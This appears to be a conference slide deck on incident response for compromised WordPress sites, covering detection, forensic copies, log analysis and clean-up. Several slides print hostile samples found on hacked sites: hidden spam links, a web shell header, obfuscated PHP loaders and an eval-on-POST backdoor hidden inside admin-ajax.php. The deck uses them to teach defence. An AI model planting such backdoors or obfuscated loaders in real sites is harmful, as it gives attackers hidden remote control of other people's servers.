



# WHAT TO EXPECT WHEN YOU'RE EXPECTING TO **GET HACKED** - WORDPRESS EDITION

WITH YOUR HOST:

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# OVERVIEW

**HOW YOUR SITE GETS HACKED**

**ONCE HACKED, HOW YOUR SITE IS USED**

**WAYS TO DETECT COMPROMISE**

**\*WHAT TO DO WHEN YOU GET HACKED\***

**THIS IS NOT A TALK ABOUT SECURING WORDPRESS  
(SEE LAST YEAR'S CONFERENCE, VENDOR WEBSITES)**



# **ABOUT://ME/**

**ADAM ARROWOOD**

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aarrowood on WPCampus Slack



**CYBER SECURITY**

**Georgia Institute of Technology**

**Background: web app dev/hosting/security, AWS**

**Central web hosting service with 400+ WordPress sites,  
single multi-site with 500+ sites, others on campus**



# **HOW HACKERS HACK**

**YOU LET THEM? SPAMMED vs HACKED**



# **HOW HACKERS HACK**

**PLUGIN/CORE/THEME VULNERABILITY**

**BRUTE FORCE LOGIN**

**HOSTING (CROSS-PRODUCT, CROSS-SITE)**

**OTHERS (SERVER ENV, CUSTOM CODE, ETC)**



# **HOW HACKERS HACK**

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# **WHAT HACKERS DO**

**CONTENT , CODE , RESOURCES**



# **WHAT HACKERS DO**

**BLACK-HAT SEO** (webspam, cloaks, redirects)

**EMAIL SPAMMING**

**CRYPTO MINING** (client-side, server-side)

**HOST BAD THINGS: MALWARE, PHISHING, PORN**

**DEFACEMENT**

**STEAL DATA**

**BOTNET**

**PIVOT**

**\* BACKDOOR SHELL ACCESS \***



**WHAT IF YOUR SITE GETS HACKED?**  
**INCIDENT RESPONSE**

**STANDARDIZED PROCESS**

**PREPARE AND RESPOND**



# **INCIDENT RESPONSE**

**PREPARATION**

**DETECTION**

**CONTAINMENT**

**INVESTIGATION**

**RECOVERY: ERADICATION & PREVENTION**

**POST-INCIDENT ACTIONS**



# **INCIDENT RESPONSE: PREPARATION**

**GOAL: BE ABLE TO EXECUTE OTHER STEPS**

## **FILES**

Know your site's files

How to list the timestamps of your files

How to checksum/diff your files

## **DATABASE**

Know your site's databases, tables

How to access the database directly (SQL, phpMyAdmin)

## **LOGS**

How to access and search your site's logs

Keep your logs a long time (6 months or more?)

“Get the logs off the box”

Best-case? Full packet captures with SSL decryption



# **INCIDENT RESPONSE: PREPARATION**

## **BACKUPS**

How to browse & restore \*nightly, automated\* backups of files, database, logs

Ability to create on-demand backups

## **RESTRICTION**

How to immediately limit access to your site

## **KNOW THE VALUE OF YOUR DATA**

Legally, how sensitive is your site's contents?

## **KNOW HOW TO CONTACT YOUR CYBER SECURITY TEAM**



# **INCIDENT RESPONSE: DETECTION**

**GOAL: WAS THE SITE COMPROMISED?**

**LOOK FOR INDICATIONS OF COMPROMISE**

**EXTERNAL & END-USER CONTACT, EMAIL BOUNCES**

**GOOGLE : DORKING, ALERTS, \*\*SEARCH CONSOLE\*\***

**UNUSUAL RESOURCE USAGE:  
CPU, STORAGE, TRAFFIC (AMOUNT, SRC/DST)**

**FILE, DATABASE CHANGES**

**\*\*LOGS\*\***



# **INCIDENT RESPONSE: CONTAINMENT**

**GOAL: STOP FURTHER CHANGES & BAD ACTIONS**

**BLOCK ACCESS TO YOUR SITE**

**Blocking vs. redirection**

**Complete vs. local-only block**

**Running processes? Outbound mail queue?**

**STOP AND CONTACT CYBER SECURITY**



# **INCIDENT RESPONSE: INVESTIGATION**

## **GOALS:**

**How did they get in?**

**What did they do once in?**

## **WHO DOES THIS?**

**Your cyber security team**

**Hire external company**

**You do it yourself**



# **INCIDENT RESPONSE: INVESTIGATION**

## **FORENSIC COPIES**

**Make new copies of prod files, database, logs**

**Work *ONLY* on the copies**

**Restore backups to a new location (not production)**

**Download clean copies of WordPress, plugins, themes**



# **INCIDENT RESPONSE: INVESTIGATION**

## **LOG SPELUNKING**

**Start search at time of the IOC, off-campus and out-of-area HTTP POSTS**

**Look for common hacking events:**

**Brute-force attacks on wp\_login.php or xmlrpc.php**

**Unusual admin access (location, activity)**

**Corroborate with files, database... feedback loop**

**Don't assume different IPs = different attackers**

**You will see strange entries, avoid wild-goose chases**



# INCIDENT RESPONSE: COMMON COMPROMISE PATTERNS

## BRUTE-FORCE ⇒ LOGIN ⇒ ACCESS

```
129.56.53.105 - - [12/Jan/2019:00:00:00 -0500] "POST /wp-login.php" 200 3316 "-" "-"
129.56.53.105 - - [12/Jan/2019:00:00:01 -0500] "POST /wp-login.php" 200 3316 "-" "-"
... 37,287 more times ...
129.56.53.105 - - [12/Jan/2019:10:21:28 -0500] "POST /wp-login.php" 200 3316 "-" "-"
129.56.53.105 - - [12/Jan/2019:10:21:29 -0500] "POST /wp-login.php" 302 - "-" "-"
129.56.53.105 - - [12/Jan/2019:10:21:29 -0500] "GET /wp-admin/" 200 52466 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:23:14 -0500] "POST /wp-admin/update.php?action=upload-plugin" 200 40038 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:23:17 -0500] "POST /wp-content/plugins/apikey/apikey.php" 200 204 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:32:45 -0500] "POST /wp-content/plugins/apikey/apikey.php" 200 4673 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:33:56 -0500] "POST /wp-content/plugins/apikey/apikey.php" 200 12398 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:36:02 -0500] "POST /wp-content/plugins/apikey/apikey.php" 200 2837 "-" "-"
```

## VULNERABLE PLUGIN ⇒ ACCESS

```
129.56.53.105 - - [12/Jan/2019:00:00:00 -0500] "GET /wp-content/plugins/revslider/image.php" 404 - "-" "-"
129.56.53.105 - - [12/Jan/2019:00:00:00 -0500] "GET /wp-content/plugins/woocommerce/update.php" 404 - "-" "-"
129.56.53.105 - - [12/Jan/2019:00:00:02 -0500] "GET /wp-content/plugins/timthumb/index.php" 302 - "-" "-"
129.56.53.105 - - [12/Jan/2019:00:00:03 -0500] "POST /wp-content/plugins/timthumb/index.php" 200 3316 "-" "-"
129.56.53.105 - - [12/Jan/2018:00:00:05 -0500] "POST /wp-updates.php" 200 9024 "-" "-"
129.56.53.105 - - [12/Jan/2018:00:00:11 -0500] "POST /wp-updates.php" 200 57823 "-" "-"
129.56.53.105 - - [12/Jan/2018:00:00:14 -0500] "POST /wp-updates.php" 200 1212 "-" "-"
```



# INCIDENT RESPONSE: INVESTIGATION

## DATABASE

May have to view posts, pages directly  
(not through site)

Use **WP\_USERMETA** table to see active sessions

```
mysql> select user_id,meta_value from wp_usermeta where meta_key='session_tokens'\G
user_id: 1
meta_value: a:1:{s:64:"e766bd82b128537dc171c5748b079fcf78d06179ecb3bef37dcc2041dd51c9e6";a:4:{s:
10:"expiration";i:1547740382;s:2:"ip";s:15:"37.232.195.59";s:2:"ua";s:120:"Mozilla/5.0 (Macintosh; Intel Mac OS
X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36";s:5:"login";i:1547567582;}}
```

## Users (password hash & more) from **WP\_USERS**

```
mysql> select ID,user_login, user_pass, user_registered from wp_users;
+----+-----+-----+-----+
| ID | user_login | user_pass | user_registered |
+----+-----+-----+-----+
| 1 | admin | lwkerluiwelkjl4iusf098234lksd | 2018-07-21 15:52:08 |
| 2 | marshall | C23094802394asldfKSfluerlsudf | 2018-07-21 19:20:38 |
| 3 | doug | iiu349832lkjsdf7834ksd8lk3423l | 2019-01-15 11:15:54 |
+----+-----+-----+-----+
3 rows in set (0.00 sec)
```



# **INCIDENT RESPONSE: ERADICATION**

**GOAL: REMOVE MODIFICATIONS**

**ROOT CAUSE > CLEAN-UP**

Same exact site (usually) = same exact hack

**RESTORE TO BACKUPS**

Restore matching files and database

Don't destroy forensic copies

**NO SUITABLE BACKUP?**

Need to find changes...



# **INCIDENT RESPONSE: ERADICATION**

## **FILES**

Timestamps on existing and new files (\* can be faked/changed)  
Checksums/Diffs against known good versions  
Old backups? Still useful

## **DATABASE**

May have to clean “manually” ... depends on what was done to the site  
Old backup? compare **CHECKSUM TABLE** values;  
diff SQL dumps of mismatches  
Don't forget to **KILL ACTIVE SESSIONS**  
**DELETE FROM WP\_USERMETA WHERE META\_KEY='SESSION\_TOKENS'**

## **LOGS**

Focus on off-campus access  
Not all file creations will have an entry  
Some hackers clean up after themselves



# INCIDENT RESPONSE: ERADICATION

## LOOKING FOR MODIFIED/NEW FILES :: CHECKING TIMESTAMPS

```
# find . -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -n | cut -d: -f2- | \
cut -f1,3- -d \. | sed -e's/\./ /' | egrep '\.php$'
```

```
2019-01-12 03:54:13 ./wp-content/themes/bartik/template.php
2019-01-12 03:54:13 ./wp-content/themes/bartik/templates/comment-wrapper.tpl.php
2019-01-12 03:54:13 ./wp-content/themes/bartik/templates/comment.tpl.php
2019-01-12 03:54:13 ./wp-content/themes/bartik/templates/maintenance-page.tpl.php
2019-01-12 03:54:14 ./wp-content/themes/bartik/templates/node.tpl.php
2019-01-12 03:54:14 ./wp-content/themes/bartik/templates/page.tpl.php
2019-01-14 00:32:29 ./wp-content/plugins/woocommerce/cache.php
2019-01-15 15:32:28 ./wp-content/themes/garland/comment.tpl.php
2019-01-15 15:32:28 ./wp-content/themes/garland/maintenance-page.tpl.php
2019-01-15 15:32:28 ./wp-content/themes/garland/template.php
2019-01-15 15:32:28 ./wp-content/themes/garland/theme-settings.php
2019-01-15 15:32:28 ./wp-content/update.php
2019-01-15 15:32:28 ./xmlrpc.php
```



# INCIDENT RESPONSE: ERADICATION

## LOOKING FOR MODIFIED/NEW FILES :: RECURSIVE DIFF AGAINST GOOD CODE

```
# diff -qr html/ wordpress-5.0.3/  
Only in html/wp-content/uploads/2019/01/presentation.jpg  
Only in html/: favicon.ico  
Only in html/: googleb5f78e2b6bf0e621.html  
Only in html/wp-content/themes/twenty十九teen: input.php  
Only in html/: wp-updates.php  
Only in html/wp-admin/: x347sdkvwx.php  
Files html/wp-includes/comment.php and wordpress-5.0.3/wp-includes/comment.php differ  
Files html/wp-includes/post.php and wordpress-5.0.3/wp-includes/post.php differ
```



# INCIDENT RESPONSE: ERADICATION

## MALICIOUS CODE EXAMPLES

```
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
?>
<html>
<div style='left: -3565px; position: absolute; top: -4812px'>
<a href="http://www.buycheapjerseys.us.com/cheap-mlb-jerseys-c-1.html">mlb jerseys custom</a>
<a href="http://www.airjordanofficially.com">zest jordan 11</a>
<a href="http://www.jerseyswholesale.cc/mlb-jerseys-c-1.html">cheap custom mlb jerseys</a>
<a href="http://www.cheapnfljerseyschina.cc/nike-nfl-jerseys-c-626.html">cheap nfl dallas cowboys jerseys</a>
```

```
$auth_pass = "Tiger00";
$color = "#00FF66"; //Colour
$default_action = "FilesMan";
$default_charset = "Windows-1251";
$antiCrawler = "on";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $bot = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Yahoo");
    if(preg_match('/' . implode('|', $bot) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
```



# INCIDENT RESPONSE: ERADICATION

## MALICIOUS CODE EXAMPLES

```
<?php
```

```
function v80rY($PsC00, $rru3z = "\61\x32\63") { $y8qqi = $PsC00; $m2fAo = ''; for ($btjPw = 0; $btjPw < strlen($y8qqi);) { for ($0NJ1t = 0; $0NJ1t < strlen($rru3z) && $btjPw < strlen($y8qqi); $0NJ1t++, $btjPw++) { $m2fAo $y8qqi[$btjPw] ^ $rru3z[$0NJ1t]; } } return $m2fAo; }
```

```
$nRGqKqXR387 = "CBkKBCA2fSFhZkdTBg88WyY2LC5bdnZ0LzENARtDfTtaAnlHBg8oBhgCAnlaeWJSFR80WiMmfT10cmJfFh8gAiYmPHhgAmZ0FhAiMcAnx0cmJfFh8gAiYmPHhgA35bFRawEBgpFTtyeX5CLyYrXQYgNCZadglDFR8NDQg2CntickdfLns3GQg5CiBiXGZSLh9DARgiMy9ydlxBAz9KIOKyNhaWYELQ5DHRspCjJxdQBTBnosARscCXt2W3ZfARw/Ehg lAiF3dWpZFSIrWQwbIzBidVxZaiIrEgw1HXxyS0N6DyEoACBDPD5bWHENBQszABg2HXW0N6DyEoARgmHiBcZkgEFHo8ACY2KD5aWHENBQseLSMmPCRbAQFcLiEZXQYgKyNidmZZFRAsGSY3fXlbA2ZSFR8KAicyBFXfeWJNKB8vXQYgKyNidmFRAsGSY3fSJZdnZNL3osWgs1dC9yAFRELiUoHCZCCTx1ZXkFARsZXQYgKwZ7XFxZBws8BiApBnhdYldfFHk0LBcdHg5tXUNaHw4oPxc3fR5tAWZnFHIhAkcR1yAABEBxs4XQYgKy9xcnFTBgAsEBgpDgpiA2ZBKAA3DRIiBiBbX3pcKRsdAxBDfT5iA0hYBSENDQsdCjtcaXpDBSENDQsadRxsWnpCKAszGODjhhZwlclLyU0BSMpHiRbWHlHBQswMBsmcSNiaVddAAs7AxccaAjxhXEhYLyEzGg0GdANxcnFTBQ8WBwk5BjFiZlRSLh88WhtDIydySAhaBQtODSMmdT
```

```
<?php ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x64\x71\x79\x65e"]="\x76\x61lue";${"\x47\x4c\x4f\x42\x41L\x53"}["\x77\x62\x71q\x62\x67\x6f"]="\x6b\x65\x79";${"\x47LOB\x41\x4c\x53"}["t\x66\x62\x71\x75\x76\x75"]="\x64\x61\x74a";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x62ba\x6e\x68\x71\x76\x6e\x64k"]="i";${"\x47\x4c\x4fB\x41\x4c\x53"}["e\x77\x76\x74uj\x71f\x73c\x70"]="\x64at\x61";${"\x47L0\x42\x41L\x53"}["\x6fhnB\x68dky\x76"]="\x6f\x75t_d\x61\x74\x61";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x73rir\x78u"]="d\x61\x74\x61\x5fke\x79";${"\x47L\x4f\x42\x41L\x53"}["\x65\x77\x68\x72\x72\x68"]="\x64\x61\x74\x61";@ini_set("err\x6f\x72_\x6c\x6f\x67",NULL);${"\x47L0\x42\x41\x4c\x53"}["rb\x76c\x6av\x6a"]="\x61\x75\x74h";@ini_set("log\x5fe\x72\x72o\x72\x73",0);@ini_set("\x6dax\x5fe\x78\x65c\x75\x74i\x6fn_t\x69\x6de",0);@set_time_limit(0);if(!defined("PHP_E0\x4c")){define("\x50H\x50_\x450\x4c","\n");}$vmqnpxxlira="\x64\x61\x74a";if(!defined("D\x49RE\x43\x54\x4f\x52\x59_S\x45\x50\x41\x52\x41TOR")){define("DIR\x45CT\x4fR\x59_SE\x50\x41RA\x54OR","/");}{{$vmqnpxxlira}=NULL;${{"GL\x4f\x42A\x4c\x53"}["\x6cs\x72\x69r\x78\x75"]}}
```



# INCIDENT RESPONSE: ERADICATION

## MALICIOUS CODE EXAMPLES

```
<?php if(md5($_POST['xdeu3s']) == 'woieruo30948lsk==') {eval($_POST['xcv98sd']);}?><?php
/**
 * WordPress Ajax Process Execution
 *
 * @package WordPress
 * @subpackage Administration
 *
 * @link https://codex.wordpress.org/AJAX_in_Plugins
 */

/**
 * Executing Ajax process.
 *
 * @since 2.1.0
 */
define( 'DOING_AJAX', true );
```



# **INCIDENT RESPONSE: ERADICATION**

## **AUDIT USERS**

## **CHANGE ALL USER PASSWORDS**

**Was your WP\_USERS table  
(with passwords hashes) exfiltrated?**

**HUGE PAIN** to change and distribute  
new passwords

**Have users change their own passwords?  
Verify changes via WP\_USERS table**

**What about SSO?**



# **INCIDENT RESPONSE: PREVENTION**

**GOAL: STOP REPEATED COMPROMISE**

**WHAT HAPPENED? FIX THAT**

**FOLLOW SECURITY BASICS:**

**PATCH, PATCH, PATCH, & AUDIT**

**STOP BRUTE-FORCE LOGINS  
(PASSWORD POLICY, RATE-LIMIT, SSO, 2FA)**

**WEB APPLICATION FIREWALL (WAF)**

**TRIPWIRE/SCANNER (WORDFENCE, SUCURI)**



# **INCIDENT RESPONSE: POST-INCIDENT**

**UN-BLOCK SITE**

**MONITOR CLOSELY**

**NOTIFICATIONS: ADMINS, USERS**

**DOCUMENT WHAT HAPPENED,  
CONSIDER CHANGES**

**REQUEST RE-CRAWL FROM GOOGLE, BING**

**GO BACK TO PREPARE STATE**



# **SUMMARY**

**PEOPLE AND BOTS DO BAD THINGS**

**DID YOU GET HACKED?**

**ARE YOU PREPARED?**

**DRAT, WE GOT HACKED. NOW WHAT?**

**RESTRICT**

**COPY**

**INVESTIGATE**

**ERADICATE**

**PREVENT**

**RESTORE ACCESS**

**POST-INCIDENT ACTIVITIES**



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